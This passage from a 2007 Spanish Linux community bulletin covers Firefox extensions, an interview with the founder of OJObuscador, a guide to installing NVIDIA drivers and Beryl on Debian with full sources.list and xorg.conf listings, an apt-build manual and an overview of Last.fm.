- Flashgot: Para cambiar el gestor de descargas a utilizar por defecto (por ejemplo: d4x;

KGet...)

- FireFTP: completo cliente de FTP en el navegador.

- DownThemAll: para una gestión más eficaz de las descargas.

- Restart: agrega la opción de reiniciar el navegador al menú "Archivo".

- Splash: Solo agrega un splash antes de abrir el navegador XD.

- Bookmark Backup: Para hacer backup de los marcadores en una carpeta distinta de la del

perfil.

- ChatZilla: Cliente de chat.

- Clear Private Data: Permite añadir un botón a la barra de herramientas para borrar la

información privada.

Page 19: Mega Boletin Fent Linux 2007

- Context Search: Para elegir motor de búsqueda en el "Buscar en" del menú contextual.

- Cookie Safe: Para personalizar el manejo de las cookies.

- ImageBot: ideal para subir imágenes rápidamente y sin ningún tipo de complicación.

- UI tweaker: para modificar aspectos de la interfaz del navegador: los menús, las barras de

herramientas, las pestañas o el cuadro de búsqueda de Firefox.

- WOT: útil para indicarnos la fiabilidad de la web que visitamos

- Wizz rss: Para sindicalizar (feeds) contenidos desde el navegador.

- Adblock / Adblock Filterset.G: Para filtrar la indeseable publicidad de algunas webs.

- BBCodeXtra: Para dar rápidamente formato al texto en webs y foros.

- del.icio.us complete: Integración con la cuenta personal de del.icio.us.

- Foxylicious: permite mantener una carpeta dentro de mis favoritos con todos los enlaces

que guardo en del.icio.us.

- Tab Mix Plus: Opciones adicionales para configurar la administración de pestañas en

Firefox.

- Sage: para una lectura eficaz de los feeds (la famosa sindicalización) en el navegador.

- All-in-One Gestures: navegación a golpes de ratón. Tendrás la capacidad de navegar por

medio de "gestos" con el ratón. Rapidez y facilidad.

- Track me not: mejora de la privacidad del usuario, esta extensión que lo que hace es enviar

búsquedas "falsas", escondiendo las verdaderas búsquedas del usuario.

- Translation Panel: útil para traducir alguna palabra que desconozcamos del inglés o algún

otro idioma (traduce párrafos completos también)

- Download Statusbar: para visualizar y gestionar las descargas en una barra de estado.

- Adblock Plus: Para bloquer a todos los "elementos molestos" de las páginas webs.

- SearchStatus: para conocer la posición en el Google PageRank y Alexa de cualquier web.

- Smiley Xtra: (para chorradillas varias) emoticones en tus post.

- SwitchProxy Tool: Útil si usas varios proxis, con esta extensión tu puedes elegir en cualquier

momento que proxy usar, e incluso puedes usar una lista de proxis públicos para navegar

anónimamente (pero me suele petar mucho, lástima).

- infoRSS: feeds en el navegador. Ideal para sindicalizar contenidos desde el navegador.

Elaborado con la colaboración de: vl@d, ghalleiras, Bad Seed, shicefgo, Dicinox,

isosceles, Tremal-Naik, Lesuth, Logos, ZX80, kallikantzaroi y Paulet, en ¿Qué extensión

usamos?.

Enlaces relacionados: Colección de extensiones en FL

Para Thunderbird. Para: Firefox.

Page 20: Mega Boletin Fent Linux 2007

7. Agradecimientos y créditos.

La adm. de FL agradece a dabo y liamngls sus reseñas en portada de sus

blogs. Gracias por considerarlo de interés.

Para posibles interesados en colaborar en su mantenimiento y difusión: Contacto.

Recordar que el presente boletín, como todas las imágenes y texto se distribuyen bajo la

licencia de contenidos que rige en FL

* Novedad 2007-04-25: El presente boletín se encuentra disponible en formato pdf: 1

boletín en pdf.

• Revisiones: Creado el 2007-03-07, actualizado el 2007-03-22, el 2007-04-20 y el

2007-12-04.

Page 21: Mega Boletin Fent Linux 2007

- 2º BOLETÍN FL 2007 -

Con todos nosotros, la segunda entrega del boletín online de FL, en esta

ocasión en edición especial con motivo de nuestro tercer aniversario:

GRACIAS. 2007-04-04. Mantenemos la ilusión.

Temas

1. Entrevista a Javier Casares, de OJObuscador

2. Instalar AIXGL + Beryl en KDE/Gnome con el driver de NVIDIA en Debian

3. Manual APT-Build

4. Last.fm

5. Convertir imágenes de archivo en GNU/Linux

6. Escribir en particiones NTFS desde GNU/Linux

7. Algo he oído sobre linux, pero cómo lo consigo. Te damos unas pistas

8. Agradecimientos y créditos

9. Tercer aniversario

1. Entrevista Javier Casares de OJObuscador.

FL: ¡OJOBuscador! Para los posibles despistados, hablamos de OJObuscador

¿Qué es OJObuscador?.

J.C.: OJObuscador viene a ser un periódico sobre buscadores, un punto de encuentro de

aquellos que quieren estar al día sobre lo que acontece alrededor de Google, Yahoo!, Live...

FL: ¿Cuándo y por qué surgió OJObuscador?

J.C.: En octubre de 2003 registré Googlemania.com y era una web que tenía mucha

información sobre Google...(la web aún está online). En Junio de 2005 recibí una notificación de

Google para que cerrase la web, y ahí nació OJObuscador... en este caso hablando de todos los

buscadores.

FL: ¿Qué temática suele abarcar? ¿Cual es en líneas generales su funcionamiento?

J.C.: Principalmente hablamos de los nuevos productos que se lanzan, aunque también

hablamos de los correos electrónicos, mensajerías y todo aquello que hay alrededor de los

buscadores, incluyendo marketing online (PPC) y posicionamiento natural (SEO).

FL: Pasado todo este tiempo, es posible, a grandes rasgos conocer ¿quienes visitan y utilizan

OJObuscador?

J.C.: Hay dos tipos de perfil... por un lado está el "lector habitual", que es gente que le interesa

todo este tema, y gente del sector, es decir, gente que se dedica a estos temas. Incluso alguna

vez que he estado en las oficinas de algún buscador los he "pillado" leyéndome :) El otro perfil

es el que llega desde los buscadores porque estamos posicionados por algunas búsquedas

Page 22: Mega Boletin Fent Linux 2007

interesantes.

FL: ¿Quién es Javier Casares? ¿Y que pinta en OJObuscador?

J.C.: Javier Casares es un loco de esto de los buscadores. Llevo desde 1997 paseando por la

red y desde el 2003 centrado principalmente en todo lo que hay alrededor de las tecnologías

de búsqueda. Como habréis podido comprobar, soy el fundador de Googlemania (que empezó

como hobby) y también el artífice de OJObuscador hasta el congreso de 2006. A partir de allí se

comenzó a formar un equipo que ha culminado en el congreso que hubo el pasado 8 y 9 de

marzo de 2007. Se puede decir que soy el cabecilla de todo, aunque no me gusta salir en las

fotos, para eso está el resto del equipo...

FL: ¿Qué planes más cercanos tiene OJObuscador?

J.C.: Pues estamos en plena ebullición, ya que vamos a retomar la sección de manuales y a

trabajar duro con ello. Va a haber un proceso largo de cambios, aunque también tenemos

presentes un par de congresos en Argentina y Chile, y otro que quiero preparar en Barcelona

(no tan grande como el de Madrid, pero algo se nos ocurrirá) :)

FL: ¿Hemos oído de un buscador basado en linux?¿qué hay de cierto? Háblanos del proyecto

¿Para cuando? ¿Por qué linux? ¿Por qué esta apuesta?

J.C.: Estamos preparando un buscador con un perfil similar a Technorati, aunque centrado en el

idioma español. Si todo va bien saldrá este verano, aunque aún queda mucho trabajo.

Comenzamos a desarrollarlo bajo Nutch, pero parte de la tecnología se nos quedaba corta, así

que tomamos como base Lucene, y el equipo ha estado desarrollando el resto (índice, robot de

indexación, etc...). Por la forma que tenemos en mente para crecer y las necesidades de JSP,

vamos a usar Linux retocado para poder llevarlo a cabo...

Además, tenemos en mente lanzar un sistema más comercial para que las pequeñas empresas

puedan tener su propio buscador interno. Aunque aquí no te puedo decir mucho más, ya que

estamos acabando el desarrollo.

FL: Hablando de buscadores, ¿Cual fue su pasado? ¿Como están las cosas hoy en día? ¿Cuál

será el futuro de los mismos?

J.C.: Hace ya casi 15 años que existen los buscadores. Los primeros se utilizaban para "medir

cuán grande era Internet" en aquellos días... el problema es que los robots "tiraban los

servidores" y hubo que replantearse muchas cosas... os recomiendo leer un artículo que

publicamos hace tiempo sobre la Historia de los Buscadores.

FL: ¿Y google?¿Existe vida detrás de él?

J.C.: Se supone que hay cerca de 10.000 vidas detrás de él :D La verdad es que he tenido la

ocasión de visitar las oficinas de Madrid en varias ocasiones y hay muy buen rollo con ellos... El

problema es que es un monstruo tan grande que a veces se hace imposible gestionar todos los

problemas de los usuarios...

FL: ¿Es tan grande la influencia de google? Por ejemplo en el posicionamiento de las webs, los

Page 23: Mega Boletin Fent Linux 2007

sistemas operativos, firefox, opensource... ¿Se atreverá algún día a sacar su propio sistema

operativo?

J.C.: Google se ha convertido en pocos años en una de las marcas más conocidas del mundo,

cosa que le ha costado a otras marcas varias decenas de años...

Yo personalmente no creo que se planteen lanzar un sistema operativo... es una cosa muy

compleja y si lo ofrecieran debería ser gratuito... Sí que es cierto que Google utiliza muchas

versiones de muchos sistemas diferentes adaptados a sus necesidades. Por ejemplo, Orkut

funciona sobre Windows... no todo es Linux :P aunque si hemos de hacer proporción, el 99% lo

es :)

FL: ¿Y España? ¿Cuál es la verdadera situación de España en comparación con el resto de

países?

J.C.: España es el "bicho raro". Google tiene una influencia en resultados de más del 95%, lo

que significa que lo que dice Google "va a misa". En Europa la media debe rondar el 70% y en

Estados Unidos el 60%. No es bueno que haya tanto monopolio sobre las búsquedas... Un

cambio en los resultados puede producir una caída de ingresos de empresas que pueden llevar

a la quiebra (y ya hay casos).

FL: ¿Sabemos usar los buscadores y sacarles provecho?

J.C.: No, no sabemos usar los buscadores ni sabemos buscar. Sí que es cierto que hay gente

que sabe, pero por experiencia propia, siempre acabas intentando que alguien te haga la

búsqueda... El problema quizá no es que no sepamos buscar, es que los buscadores nos

obligan a buscar de una forma que no es la que se debe... Ahí habrá solución cuando el

"lenguaje natural" entre en los cajetines de búsqueda... el problema es que la búsqueda por

palabras dejará de ir y no sabremos buscar ni de una ni de otra forma :P

FL: ¿Microsoft vs Linux? ¿Llegará a desbancarlo algún día?

J.C.: La competencia es buena... yo en casa utilizo Windows pero mis servidores son Linux.

Como en todo, el tema es el perfil del usuario y las herramientas que se necesitan... Aunque

suene a tópico, los diseñadores usan Mac, los administradores de sistemas y "heavy users"

usan Linux y el público en general usa Windows. Lógicamente hay excepciones (que eso es

muy generalizado), aunque elhecho de que Linux esté evolucionando hacia un escritorio muy

usable ayuda. Para mi el problema de Linux es que haya tantas distribuciones locales. Está

bien que haya varias "versiones" (por ejemplo, una más enfocada a servicios de internet, otra

al uso de gráficos, otro al de escritorio)... pero el que haya 15 proyectos locales creo que es un

error... Yo apostaría por una distribución que de solución a varios frentes...

FL: Es frecuente oír noticias o leerlas en torno a los congresos de OJObuscador, hablamos de

ellos. ¿Cuántos se han hecho? ¿Qué tal el último?

J.C.: Pues ya van dos. El primero lo monté yo sólo en Madrid gracias a la ayuda de Google y

reunió el 9 de mayo de 2006 a 240 personas. Este año se ha realizado para 450 personas,

también en Madrid y repartido en 2 días, 8 y 9 de marzo. Hay una necesidad de conocimiento

Page 24: Mega Boletin Fent Linux 2007

y, aunque los buscadores "no sueltan prenda" hay muchos profesionales que sí que están

dispuestos a informar, y ahí estaremos nosotros para que lo puedan contar.

Ahora estamos preparando un congreso en Argentina y otro en Chile a finales de Octubre, y el

de Barcelona (que me he propuesto hacerlo) aunque no está muy claro. Eso sí, no va a ser

parecido al de Madrid... quiero que vengan buscadores más humildes a explicar sus

experiencias, cómo y porqué se lanzaron...

FL: A modo de resumen, ¿Por qué debemos o deberíamos visitar OJObuscador?

J.C.: Porque es la forma más sencilla de estar al día en todo lo que acontece alrededor de los

buscadores... y como son una herramienta esencial en nuestra navegación por la red, es bueno

saber qué tienen y qué te pueden ofrecer... Google y Yahoo! tienen entre 50 y 100 servicios

diferentes cada uno... algunos muy útiles y muy desconocidos... otros pueden darnos pistas

hacia donde se dirige el mercado... y si te quieres enterar de eso, ¡sólo has de leernos!

2. Instalar AIXGL + Beryl en KDE/Gnome con el driver de NVIDIA en

Debian

Por kallikantzaroi.

En este pequeño Howto trataré de explicar de la manera más sencilla y clara posible

como podemos disfrutar en Debian de un escritorio 3D sin muchas complicaciones, ya que

en estos momentos ya tenemos el driver de la serie 9 en el repositorio experimental y

podemos hacer todo el proceso al estilo Debian.

Antes de proceder a la instalación y suponiendo que estemos en testing/unstable tendremos

que tener instalados los siguientes paquetes:

build-essential, module-assistant y el kernel-header del kernel que estemos usando

Para instalar el driver de Nvidia hacemos lo siguiente:

#module-assistant auto-install nvidia

Posteriormente:

#apt-get install nvidia-glx

Después nos vamos a /etc/modules y escribimos: nvidia

También tenemos que hacerlo en etc/X11/xorg.conf en el apartado "Section Device" cambiando

"nv" por "nvidia" (sin las comillas).

Y ya está instalado el driver, comentar solo que es preferible instalar el driver Nvidia habitual

de la versión que estemos usando y comprobar su funcionamiento correcto para evitar

posteriores errores.

Reseñar que si cambiamos el kernel tendremos que volver a instalar el driver con el comando

Page 25: Mega Boletin Fent Linux 2007

reseñado anteriormente:

#module-assistant auto-install nvidia desde la opción “recovery mode” del nuevo kernel

presente en el Grub y listo.

Con el kernel-header del kernel correspondiente instalado.

Para los que empiezan en esto tal vez la manera más sencilla de modificar estos archivos es a

través de: "menu/sistema/mas aplicaciónes/gestor de ficheros (modo superusuario)" usando el

KDE, decir que se puede hacer todo el proceso sin salir del modo gráfico.

- Para reconfigurar el sistema grafico: #dpkg-reconfigure xserver-xorg

Seguimos las instrucciones y reiniciamos.

Una vez tenemos y hemos comprobado que la aceleración funciona correctamente nos

ponemos manos a la obra para conseguir instalar el escritorio 3D, para ello procedemos de la

siguiente manera:

Nos vamos a etc/apt/sources.list y añadimos los siguientes repositorios:

### EXPERIMENTAL

deb http://mirrors.kernel.org/debian experimental main contrib non-free

O este:

deb http://http.us.debian.org/debian/ ../project/experimental main contrib non-free

### BERYL

deb http://debian.beryl-project.org/ etch main

deb-src http://debian.beryl-project.org/ etch main

Añadiremos la firma del repositorio Beryl mediante consola escribiendo lo siguiente en consola

como root:

# wget -O - http://debian.beryl-project.org/[email protected] | sudo apt-key add -

Y actualizamos repositorios:

# apt-get update

Ya estamos preparados para proceder a instalar el nuevo driver y el Beryl, procedemos de la

siguiente manera y mediante consola:

# aptitude install -t experimental module-assistant nvidia-kernel-source

# module-assistant auto-install nvidia

Y seguimos las instrucciones que salgan en pantalla, después:

# aptitude install -t experimental nvidia-glx

Y ya tenemos el driver instalado, ahora continuamos con el Beryl, instalaremos la siguiente

paqueteria:

Page 26: Mega Boletin Fent Linux 2007

beryl

beryl-core

beryl-manager

beryl-plugins

beryl-plugins-data

beryl-plugins-unsupported

beryl-settings

beryl-settings-bindings

emerald

libberyldecoration0

libberylsettings0

libemeraldengine0

aquamarine

Podemos instalarlos vía Synaptic o mediante terminal, como queramos.

Una vez hemos instalado estos paquetes procederemos a modificar el archivo X11/xorg.conf :

En la sección EXTENSIONS añadimos las siguientes lineas:

Section "Extensions"

Option "Composite" "Enable"

En la sección DEVICE añadimos las siguientes líneas:

Option "RenderAccel" "true"

Option "AllowGLXWithComposite" "true"

Y en la sección las SCREEN lo siguiente:

Option "UseFBDev" "true"

Option "AddARGBGLXVisuals" "True"

Aceptamos los cambios, cerramos el archivo y reiniciamos para que surtan efecto los cambios,

cuidado con la opción “EndSection” de las opciones (guiaros con el xorg.conf que pongo al

final para evitar errores)

Una vez reiniciemos estaremos aún sin el escritiorio 3D, para activarlo escribimos en una

consola lo siguiente:

$ beryl-manager

O nos vamos a Inicio/Sistema/Beryl-Manager y lo activamos.

Ahora solo resta configurarlo a nuestro gusto con el Beryl Settings Manager con más o

menos efectos.

Yo no soy partidario de que el Beryl se active por defecto al inicio del sistema, pues aún está

en fase de desarrollo y podría dar algún tipo de fallo, pero si queremos que se active por

Page 27: Mega Boletin Fent Linux 2007

defecto al arrancar el sistema, desde consola y desde vuestro /home escribid:

ln -s /usr/bin/beryl-manager .kde/Autostart

Para iniciarlo con el KDE.

Con el Gnome:

Podemos añadir programas al arranque en Sistema ---> Preferencias ---> Sesiones. En la ficha

de Programas de arranque o inicio o lo que sea que ponga; le das a añadir y escribes

'beryl-manager'

Pero lo que he dicho, es preferible activarlo una vez arrancado el sistema.

Vuelvo a recalcar que el proceso se puede realizar sin salir del sistema gráfico, lo que

agradecerán aquellos usuarios que se inician en el mundo GNU/Linux.

Seguidamente pongo el sources.list que uso y el xorg.conf resultante una vez configurado:

-. Repositorios sources.list versión i386 (la versión AMD64 es prácticamente idéntica y solo

rechazamos el repositorio de Idefix):

###TESTING

deb http://ftp.fi.debian.org/debian/ testing main contrib non-free

deb-src http://ftp.fi.debian.org/debian/ testing main contrib non-free

###UNSTABLE

deb http://ftp.fi.debian.org/debian/ unstable main non-free contrib

deb-src http://ftp.fi.debian.org/debian/ unstable main non-free contrib

###EXPERIMENTAL

deb http://mirrors.kernel.org/debian experimental main contrib non-free

###NVIDIA

deb http://people.debian.org/~rdonald/nvidia/ unstable/i386/

deb http://people.debian.org/~rdonald/nvidia/ unstable/all/

deb http://people.debian.org/~rdonald/nvidia/ modules-unstable/i386/

deb http://people.debian.org/~rdonald/nvidia/ pre/i386/

deb http://people.debian.org/~rdonald/nvidia/ unstable/amd64/

deb http://people.debian.org/~rdonald/nvidia unstable nvidia-graphics-drivers

deb http://people.debian.org/~rdonald/nvidia unstable nvidia-kernel-common

deb http://people.debian.org/~rdonald/nvidia unstable nvidia-settings

deb http://people.debian.org/~rdonald/nvidia unstable nvidia-xconfig

deb http://people.debian.org/~rdonald/nvidia unstable modules

###J2RE, FLASH, ETC

deb http://idefix.eup.uva.es/soleup/ soleupix main games java openoffice

###MARILLAT

Page 28: Mega Boletin Fent Linux 2007

deb http://www.debian-multimedia.org testing main

deb http://www.debian-multimedia.org sid main

# deb http://www.debian-multimedia.org experimental main

### BERYL

deb http://debian.beryl-project.org/ etch main

deb-src http://debian.beryl-project.org/ etch main

-. Archivo X11/xorg.conf:

# /etc/X11/xorg.conf (xorg X Window System server configuration file)

#

# This file was generated by dexconf, the Debian X Configuration tool, using

# values from the debconf database.

#

# Edit this file with caution, and see the /etc/X11/xorg.conf manual page.

# (Type "man /etc/X11/xorg.conf" at the shell prompt.)

#

# This file is automatically updated on xserver-xorg package upgrades *only*

# if it has not been modified since the last upgrade of the xserver-xorg

# package.

#

# If you have edited this file but would like it to be automatically updated

# again, run the following command:

# sudo dpkg-reconfigure -phigh xserver-xorg

Section "Files"

FontPath "/usr/share/fonts/X11/misc"

FontPath "/usr/X11R6/lib/X11/fonts/misc"

FontPath "/usr/share/fonts/X11/cyrillic"

FontPath "/usr/X11R6/lib/X11/fonts/cyrillic"

FontPath "/usr/share/fonts/X11/100dpi/:unscaled"

FontPath "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"

FontPath "/usr/share/fonts/X11/75dpi/:unscaled"

FontPath "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"

FontPath "/usr/share/fonts/X11/Type1"

FontPath "/usr/X11R6/lib/X11/fonts/Type1"

FontPath "/usr/share/fonts/X11/100dpi"

FontPath "/usr/X11R6/lib/X11/fonts/100dpi"

FontPath "/usr/share/fonts/X11/75dpi"

FontPath "/usr/X11R6/lib/X11/fonts/75dpi"

# path to defoma fonts

FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType"

Page 29: Mega Boletin Fent Linux 2007

EndSection

Section "Module"

Load "bitmap"

Load "ddc"

#Load "dri"

Load "extmod"

Load "freetype"

Load "glx"

Load "int10"

Load "vbe"

EndSection

Section "Extensions"

Option "Composite" "Enable"

EndSection

Section "InputDevice"

Identifier "Generic Keyboard"

Driver "kbd"

Option "CoreKeyboard"

Option "XkbRules" "xorg"

Option "XkbModel" "pc105"

Option "XkbLayout" "es"

EndSection

Section "InputDevice"

Identifier "Configured Mouse"

Driver "mouse"

Option "CorePointer"

Option "Device" "/dev/input/mice"

Option "Protocol" "ImPS/2"

Option "Emulate3Buttons" "true"

EndSection

Section "Device"

Identifier "nVidia Corporation NV43 [GeForce 6600]"

Driver "nvidia"

BusID "PCI:5:0:0"

VideoRam 256000

Option "RenderAccel" "true" # render accel is enabled by default

Option "AllowGLXWithComposite" "true"

EndSection

Section "Monitor"

Page 30: Mega Boletin Fent Linux 2007

Identifier "Acer AL1912"

Option "DPMS"

HorizSync 24-80

VertRefresh 49-75

EndSection

Section "Screen"

Identifier "Default Screen"

Device "nVidia Corporation NV43 [GeForce 6600]"

Monitor "Acer AL1912"

DefaultDepth 24

Option "UseFBDev" "true"

Option "AddARGBGLXVisuals" "True"

#also supports 1280x1024 at 60Hz

SubSection "Display"

Depth 1

Modes "1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"

EndSubSection

SubSection "Display"

Depth 4

Modes "1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"

EndSubSection

SubSection "Display"

Depth 8

Modes "1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"

EndSubSection

SubSection "Display"

Depth 15

Modes "1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"

EndSubSection

SubSection "Display"

Depth 16

Modes "1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"

EndSubSection

SubSection "Display"

Depth 24

Modes "1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480"

EndSubSection

EndSection

Section "ServerLayout"

Identifier "Default Layout"

Page 31: Mega Boletin Fent Linux 2007

Screen "Default Screen"

InputDevice "Generic Keyboard"

InputDevice "Configured Mouse"

EndSection

Section "DRI"

Mode 0666

EndSection

*- APENDICE 1:

Existen también otros repositorios que se pueden usar una vez instalado Beryl, aunque al

parecer son un poquito más experimentales, son los siguientes:

deb http://download.tuxfamily.org/3v1deb debian-unstable beryl-svn

deb-src http://download.tuxfamily.org/3v1deb debian-unstable beryl-svn

Aunque recomiendo que para la instalación se usen los que he puesto anteriormente y estos

para actualizar a versiones más recientes, si queremos claro.

Para Debian AMD64 :

deb http://download.tuxfamily.org/3v1deb edgy beryl-svn-amd64

deb-src http://download.tuxfamily.org/3v1deb edgy beryl-svn-amd64

La firma de ambos repositorios es la siguiente:

wget http://download.tuxfamily.org/3v1deb/DD800CD9.gpg -O- | sudo apt-key add -

*- APENDICE 2:

Teclas manejo:

* Control+Alt y click/arrastre izquierdo en el escritorio: gira el cubo.

* Control+Alt y flecha izda/dcha: gira a otra cara del cubo.

* Control+Alt+Shift y flecha izda/decha: desplaza la ventana activa a otra cara del cubo

* Alt y click/arrastre en una ventana: mueve ventana

* Control+Alt y click/arrastre en una ventana: mueve ventana "pegajosa"

* Tecla Win y click derecho: zoom

* Tecla Win y rueda: zoom manual

* F12: colocación de ventanas

* Alt+Tab: cambia de aplicación

*- APENDICE 3 :

Una vez el driver de Nvidia migre a la versión unstable/sid de Debian el proceso aún será

más sencillo y supongo que no tardaran mucho en hacerlo, aunque con Debian nunca se sabe,

todo y estos “retrasos” continua siendo mi distro preferida ;oD

Page 32: Mega Boletin Fent Linux 2007

Ahora solo nos resta una cosa......, disfrutar de un escritorio 3D sin necesidad de gastarnos

una pasta larga en software y hardware como pretenden que hagamos “otros sistemas

operativos” ;oP

Un par de capturas:

* La primera.

* La segunda.

3. Manual APT-Build

Por vl@d.

La irrupción de Gentoo en el mundo de las distribuciones de GNU/Linux supuso toda

una revolución, era un concepto de sistema operativo que trataba por todos los medios de

adaptar el software instalado a las características de la máquina. Gracias a su herramienta

“emerge” podemos optimizar los programas instalados a nuestro procesador, consiguiendo así

un mayor rendimiento. Toda una delicia para los más exigentes.

Debian no quiso quedarse atrás y desarrollo apt-build, mediante el cual generaremos

paquetes .deb adaptados al procesador de nuestro ordenador de una manera fácil y sencilla,

tan solo hay que instalar el paquete y realizar una pequeña configuración.

Lo primero que hay que hacer es descargarlo e instalarlo en nuestro sistema, así que hacemos

uso de apt-get para ello:

root@saruman:/home/vlad# apt-get install apt-build

Durante el proceso de instalación nos aparecerá una pantalla donde se nos pide que

indiquemos el nivel de optimización que queremos para nuestros paquetes: Imagen.

Una vez elegido lo que deseemos continuará el proceso y lo siguiente que veremos es una

advertencia en la que se nos avisa de que en el archivo sources.list (donde se definen los

repositorios de los que nos bajamos el software), han de existir líneas específicas para

paquetes de código fuente, necesarios para la compilación.

Imagen.

Tras esto se nos pedirá que especifiquemos el procesador de nuestra máquina: Imagen.

Ya está todo configurado. Si queremos ver la configuración que hemos realizado, solo hay que

editar el archivo /etc/apt/apt-build.conf, en el se encuentran en modo texto todos los

parámetros que le hemos pasado a apt-build durante la instalación y posterior configuración

del mismo.

build-dir = /var/cache/apt-build/build

repository-dir = /var/cache/apt-build/repository

Olevel = -O2

Page 33: Mega Boletin Fent Linux 2007

mtune = -mtune=pentium4m

options = " "

make_options = " "

En apt-build.conf vemos dos lineas muy importantes:

build-dir = /var/cache/apt-build/build

En ese directorio es donde apt-build va a descargar todo lo necesario para generar el paquete

.deb. También vemos:

repository-dir = /var/cache/apt-build/repository

Ahí es donde se van a depositar los .deb generados.

Por supuesto podemos introducir a mano directamente los cambios que queramos en este

archivo, pero también se puede lanzar una orden desde la línea de comandos:

root@saruman:/home/vlad# dpkg-reconfigure apt-build

Para recompilar un programa solo habría que hacer:

root@saruman:/home/vlad# apt-build install nmap

Una vez compilado y depositado en /var/cache/apt-build/repository, obtendremos un

mensaje de error en la consola de comandos igual que este:

AVISO: ¡No se han podido autenticar los siguientes paquetes!

nmap

E: Hay problemas y se utilizó -y sin –force-yes

Se refiere a que no se ha podido verificar la firma del paquete ya que no procede del

repositorio original (lo hemos creado nosotros), así que nos dirigiremos a /var/cache/apt-

build/repository y lo instalaremos a mano:

root@saruman:/home/vlad# cd /var/cache/apt-build/repository

root@saruman:/var/cache/apt-build/repository# dpkg -i nmap_4.03-3_i386.deb

Apt-build soporta también otras órdenes o comandos de diversa utilidad. Por ejemplo:

update -Actualiza la lista de paquetes

upgrade - Actualiza un paquete

install - Construye e instala un paquete

source - Descarga el código fuente de un paquete

build-source - Descarga y construye el paquete fuente

update-source - Actualiza las fuentes y las reconstruye

remove - Borra paquetes

build-repository - Reconstruye el repositorio

clean-sources - Limpia el directorio de fuentes

clean-build - Borra paquetes descargados y archivos temporales del proceso de construcción

de paquetes

Page 34: Mega Boletin Fent Linux 2007

clean-repository - Borra paquetes descargados y archivos temporales del directorio personal

de repositorio

world - Reconstruye y reinstala todos los paquetes del sistema

info - Informa sobre un paquete

Para más información consultad la página man.

4. Last.fm

Por Bad Seed.

Last.fm es un servicio con sede en Inglaterra que si bien no es nuevo, ha sido en el

último año y medio donde ha experimentado un gran auge en medio del boom de la web 2.0;

convirtiéndose para muchos en algo tan común como tener un blog o un perfil en MySpace.

En el caso concreto de los hispanohablantes hay un factor adicional para fijarnos en Last.fm,

recientemente el portal en su totalidad ha sido traducido a nuestro idioma, siendo accesible

desde www.lastfm.es

El registro de una nueva cuenta ya sea desde el sitio en inglés como en castellano es casi a

prueba de tontos, puesto que tan solo con ingresar al sitio seremos recibidos con un breve

resumen de las bondades más generales del servicio junto con la invitación a formar parte de

la familia.

* Los Plugins y la aplicación.

Last.fm es sobre escuchar música, por lo que nuestra flamante cuenta recién creada

necesita todavía de algo más. Si contamos con una nutrida librería musical en nuestra máquina

seguramente querremos que en nuestro perfil se lleve un registro de la música que

escuchamos tras horas y horas de engorde en nuestro trono.

No obstante Last.fm también puede ser utilizado como una gran radio online con numerosas

estaciones para todos los gustos, y para ello también necesitaremos algo más que nuestro

usuario.

En el caso de Microsoft Windows hasta no hace mucho tiempo atrás todo esto se manejaba

mediante plugins que eran instalados en los reproductores soportados oficialmente, a saber:

Windows Media Player, Winamp, iTunes, QCD, foobar2000, Yahoo! Music Engine, Yahoo!

LaunchCast y J. River Media Center. Dichos plugins se configuraban directamente en el

reproductor introduciendo únicamente nuestro usuario y contraseña de Last.fm, y a medida

que íbamos escuchando música ésta se registraba en el perfil. En lo que respecta a las radios,

se trataba de streams comunes y corrientes como los de cualquier otra radio online que

escuchemos en nuestro reproductor favorito.

Todo eso cambió con la llegada del Last.fm Player, pensado principalmente para hacer el

Page 35: Mega Boletin Fent Linux 2007

servicio más amigable para los nuevos usuarios y en general para aquellas personas menos

habituadas a las instalaciones de complementos y otras aventuras. Una vez instalado este

reproductor, tras su primera ejecución detecta automáticamente los reproductores que

tenemos instalados (siempre y cuando estén soportados) y nos ofrece la opción de habilitarle el

servicio de Last.fm para llevar un registro de la música que escuchemos.

En cuanto a la radio, ésta es escuchada directamente en el Last.fm Player, y nos permite

seleccionar emisoras por artista o etiqueta sin hacer escala en el sitio real. El aspecto del

reproductor en acción sobre un sistema Windows es el siguiente: Imagen.

En el caso que más nos interesa que es el de Linux tenemos la suerte de que los reproductores

de audio más populares en este sistema operativo incluyen de serie el soporte para

Audioscrobbler / Last.fm; o al menos eso me atrevo a afirmar tras haber probado el

Amarok, Rhythmbox, Listen, Songbird (mediante una extensión), Quod Libet y Exaile!

No obstante, si queremos hacer uso de la radio necesariamente hay que pasar por el Last.fm

Player. De forma oficial no está disponible ningún paquete para alguna distribución en

específico, pero el código fuente del programa se encuentra disponible para ser descargado y

compilado.

Aquellos que no sean muy duchos compilando o simplemente no les agrade el aspecto de las

aplicaciones basadas en librerías Qt, existe una alternativa: Last-Exit. Un programa pequeño,

basado en GTK+, con las funciones básicas del cliente oficial y que se integra perfectamente

en mi escritorio Xfce: Imagen.

Aquellos que se decantan por el entorno KDE también tienen una alternativa a la aplicación

oficial de Last.fm: Desde la versión 1.4.1 Amarok incluye nativamente la posibilidad de

reproducir las emisoras de Last.fm, versiones anteriores también pueden hacerlo pero

mediante la utilización de un script llamado LastamaroK.

* Last.fm no es Pandora.

En varias oportunidades he visto a usuarios habituales de Pandora probar Last.fm e irse

decepcionados en pocos minutos. En la opinión de quien escribe, si nuestro principal interés es

el de descubrir música nueva similar a la que nos gusta, la opción a seguir sin duda alguna es

Pandora. Sin embargo, si no estamos apurados podemos comenzar a escuchar nuestra música

de la misma forma que hacemos todos los días y al cabo de unos días el sistema habrá hecho

el resto, tendremos una lista con los artistas y canciones que hemos escuchado con mayor

frecuencia, una lista de música recomendada y hasta vecinos, que no son más que personas

con gustos parecidos a los nuestros.

* Herramientas extras.

Una vez que tengamos un perfil en condiciones y hayamos escuchado bastante música,

seguramente desearemos hacerle saber al mundo qué es lo que nos gusta escuchar. A tal fin

Page 36: Mega Boletin Fent Linux 2007

se nos ofrece de forma gratuita un generador de imágenes para incluir nuestro tope de artistas

o canciones (ya sea semanales o totales) y también la lista de canciones escuchadas

recientemente. Todo disponible desde www.last.fm/tools/charts.

Esta imágenes son ideales para colocarlas en nuestra web o blog, así como también en firmas

